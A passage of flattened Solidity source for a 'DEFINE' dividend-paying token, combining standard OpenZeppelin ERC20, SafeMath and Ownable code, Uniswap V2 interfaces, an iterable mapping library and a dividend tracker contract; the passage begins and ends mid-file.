* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
// On the first call to nonReentrant, _notEntered will be true
require(_status != _ENTERED, "ReentrancyGuard: reentrant call");
// Any calls to nonReentrant after this point will fail
_status = _ENTERED;
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
_status = _NOT_ENTERED;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC20.sol";
import "./extensions/IERC20Metadata.sol";
import "../../utils/Context.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The default value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
_afterTokenTransfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "./libraries/IterableMapping.sol";
import "./DividendPayingToken.sol";
contract DefineDividendTracker is DividendPayingToken, Ownable {
using SafeMath for uint256;
using SafeMathInt for int256;
using IterableMapping for IterableMapping.Map;
IterableMapping.Map private tokenHoldersMap;
uint256 public lastProcessedIndex;
mapping (address => bool) public excludedFromDividends;
mapping (address => uint256) public lastClaimTimes;
uint256 public claimWait;
uint256 public immutable minimumTokenBalanceForDividends;
event ExcludeFromDividends(address indexed account);
event ClaimWaitUpdated(uint256 indexed newValue, uint256 indexed oldValue);
event Claim(address indexed account, uint256 amount, bool indexed automatic);
constructor() public DividendPayingToken("DEFINE_Dividend_Tracker", "DEFINE_Dividend_Tracker") {
claimWait = 3600;
minimumTokenBalanceForDividends = 1 * (10**15); //must hold 0.001+ tokens
}
function _transfer(address, address, uint256) internal override {
require(false, "DEFINE_Dividend_Tracker: No transfers allowed");
}
function withdrawDividend() public override {
require(false, "DEFINE_Dividend_Tracker: withdrawDividend disabled. Use the 'claim' function on the main DEFINE contract.");
}
function excludeFromDividends(address account) external onlyOwner {
require(!excludedFromDividends[account]);
excludedFromDividends[account] = true;
_setBalance(account, 0);
tokenHoldersMap.remove(account);
emit ExcludeFromDividends(account);
}
function updateClaimWait(uint256 newClaimWait) external onlyOwner {
require(newClaimWait >= 3600 && newClaimWait <= 86400, "DEFINE_Dividend_Tracker: claimWait must be updated to between 1 and 24 hours");
require(newClaimWait != claimWait, "DEFINE_Dividend_Tracker: Cannot update claimWait to same value");
emit ClaimWaitUpdated(newClaimWait, claimWait);
claimWait = newClaimWait;
}
function getLastProcessedIndex() external view returns(uint256) {
return lastProcessedIndex;
}
function getNumberOfTokenHolders() external view returns(uint256) {
return tokenHoldersMap.keys.length;
}
function getAccount(address _account)
public view returns (
address account,
int256 index,
int256 iterationsUntilProcessed,
uint256 withdrawableDividends,
uint256 totalDividends,
uint256 lastClaimTime,
uint256 nextClaimTime,
uint256 secondsUntilAutoClaimAvailable) {
account = _account;
index = tokenHoldersMap.getIndexOfKey(account);
iterationsUntilProcessed = -1;
if(index >= 0) {
if(uint256(index) > lastProcessedIndex) {
iterationsUntilProcessed = index.sub(int256(lastProcessedIndex));
}
else {
uint256 processesUntilEndOfArray = tokenHoldersMap.keys.length > lastProcessedIndex ?
tokenHoldersMap.keys.length.sub(lastProcessedIndex) :
0;
iterationsUntilProcessed = index.add(int256(processesUntilEndOfArray));
}
}
withdrawableDividends = withdrawableDividendOf(account);
totalDividends = accumulativeDividendOf(account);
lastClaimTime = lastClaimTimes[account];
nextClaimTime = lastClaimTime > 0 ?
lastClaimTime.add(claimWait) :
0;
secondsUntilAutoClaimAvailable = nextClaimTime > block.timestamp ?
nextClaimTime.sub(block.timestamp) :
0;
}
function getAccountAtIndex(uint256 index)
public view returns (
address,
int256,
int256,
uint256,
uint256,
uint256,
uint256,
uint256) {
if(index >= tokenHoldersMap.size()) {
return (0x0000000000000000000000000000000000000000, -1, -1, 0, 0, 0, 0, 0);
}
address account = tokenHoldersMap.getKeyAtIndex(index);
return getAccount(account);
}
function canAutoClaim(uint256 lastClaimTime) private view returns (bool) {
if(lastClaimTime > block.timestamp) {
return false;
}
return block.timestamp.sub(lastClaimTime) >= claimWait;
}
function setBalance(address payable account, uint256 newBalance) external onlyOwner {
if(excludedFromDividends[account]) {
return;
}
if(newBalance >= minimumTokenBalanceForDividends) {
_setBalance(account, newBalance);
tokenHoldersMap.set(account, newBalance);
}
else {
_setBalance(account, 0);
tokenHoldersMap.remove(account);
}
processAccount(account, true);
}
function process(uint256 gas) public returns (uint256, uint256, uint256) {
uint256 numberOfTokenHolders = tokenHoldersMap.keys.length;
if(numberOfTokenHolders == 0) {
return (0, 0, lastProcessedIndex);
}
uint256 _lastProcessedIndex = lastProcessedIndex;
uint256 gasUsed = 0;
uint256 gasLeft = gasleft();
uint256 iterations = 0;
uint256 claims = 0;
while(gasUsed < gas && iterations < numberOfTokenHolders) {
_lastProcessedIndex++;
if(_lastProcessedIndex >= tokenHoldersMap.keys.length) {
_lastProcessedIndex = 0;
}
address account = tokenHoldersMap.keys[_lastProcessedIndex];
if(canAutoClaim(lastClaimTimes[account])) {
if(processAccount(payable(account), true)) {
claims++;
}
}
iterations++;
uint256 newGasLeft = gasleft();
if(gasLeft > newGasLeft) {
gasUsed = gasUsed.add(gasLeft.sub(newGasLeft));
}
gasLeft = newGasLeft;
}
lastProcessedIndex = _lastProcessedIndex;
return (iterations, claims, lastProcessedIndex);
}
function processAccount(address payable account, bool automatic) public onlyOwner returns (bool) {
uint256 amount = _withdrawDividendOfUser(account);
if(amount > 0) {
lastClaimTimes[account] = block.timestamp;
emit Claim(account, amount, automatic);
return true;
}
return false;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
// pragma solidity >=0.8.0;
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library IterableMapping {
// Iterable mapping from address to uint;
struct Map {
address[] keys;
mapping(address => uint) values;
mapping(address => uint) indexOf;
mapping(address => bool) inserted;
}
function get(Map storage map, address key) public view returns (uint) {
return map.values[key];
}
function getIndexOfKey(Map storage map, address key) public view returns (int) {
if(!map.inserted[key]) {
return -1;
}
return int(map.indexOf[key]);
}
function getKeyAtIndex(Map storage map, uint index) public view returns (address) {
return map.keys[index];
}
function size(Map storage map) public view returns (uint) {
return map.keys.length;
}
function set(Map storage map, address key, uint val) public {
if (map.inserted[key]) {
map.values[key] = val;
} else {
map.inserted[key] = true;
map.values[key] = val;
map.indexOf[key] = map.keys.length;
map.keys.push(key);
}
}
function remove(Map storage map, address key) public {
if (!map.inserted[key]) {
return;
}
delete map.inserted[key];
delete map.values[key];
uint index = map.indexOf[key];
uint lastIndex = map.keys.length - 1;
address lastKey = map.keys[lastIndex];
map.indexOf[lastKey] = index;
delete map.indexOf[key];
map.keys[index] = lastKey;
map.keys.pop();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "./libraries/SafeMathUint.sol";
import "./libraries/SafeMathInt.sol";
import "./interfaces/IDividendPayingToken.sol";
import "./interfaces/IDividendPayingTokenOptional.sol";
/// @title Dividend-Paying Token
/// @author Roger Wu (https://github.com/roger-wu)
/// @dev A mintable ERC20 token that allows anyone to pay and distribute ether
/// to token holders as dividends and allows token holders to withdraw their dividends.
/// Reference: the source code of PoWH3D: https://etherscan.io/address/0xB3775fB83F7D12A36E0475aBdD1FCA35c091efBe#code
contract DividendPayingToken is ERC20, IDividendPayingToken, IDividendPayingTokenOptional {
using SafeMath for uint256;
using SafeMathUint for uint256;
using SafeMathInt for int256;
// With `magnitude`, we can properly distribute dividends even if the amount of received ether is small.
// For more discussion about choosing the value of `magnitude`,
// see https://github.com/ethereum/EIPs/issues/1726#issuecomment-472352728
uint256 constant internal magnitude = 2**128;
uint256 internal magnifiedDividendPerShare;
// About dividendCorrection:
// If the token balance of a `_user` is never changed, the dividend of `_user` can be computed with:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user)`.
// When `balanceOf(_user)` is changed (via minting/burning/transferring tokens),
// `dividendOf(_user)` should not be changed,
// but the computed value of `dividendPerShare * balanceOf(_user)` is changed.
// To keep the `dividendOf(_user)` unchanged, we add a correction term:
// `dividendOf(_user) = dividendPerShare * balanceOf(_user) + dividendCorrectionOf(_user)`,
// where `dividendCorrectionOf(_user)` is updated whenever `balanceOf(_user)` is changed:
// `dividendCorrectionOf(_user) = dividendPerShare * (old balanceOf(_user)) - (new balanceOf(_user))`.
// So now `dividendOf(_user)` returns the same value before and after `balanceOf(_user)` is changed.
mapping(address => int256) internal magnifiedDividendCorrections;
mapping(address => uint256) internal withdrawnDividends;
uint256 public totalDividendsDistributed;
constructor(string memory _name, string memory _symbol) public ERC20(_name, _symbol) {
}
/// @dev Distributes dividends whenever ether is paid to this contract.
receive() external payable {
distributeDividends();
}
/// @notice Distributes ether to token holders as dividends.
/// @dev It reverts if the total supply of tokens is 0.
/// It emits the `DividendsDistributed` event if the amount of received ether is greater than 0.
/// About undistributed ether:
/// In each distribution, there is a small amount of ether not distributed,
/// the magnified amount of which is
/// `(msg.value * magnitude) % totalSupply()`.
/// With a well-chosen `magnitude`, the amount of undistributed ether
/// (de-magnified) in a distribution can be less than 1 wei.
/// We can actually keep track of the undistributed ether in a distribution
/// and try to distribute it in the next distribution,
/// but keeping track of such data on-chain costs much more than
/// the saved ether, so we don't do that.
function distributeDividends() public override payable {
require(totalSupply() > 0);
if (msg.value > 0) {
magnifiedDividendPerShare = magnifiedDividendPerShare.add(
(msg.value).mul(magnitude) / totalSupply()
);
emit DividendsDistributed(msg.sender, msg.value);
totalDividendsDistributed = totalDividendsDistributed.add(msg.value);
}
}
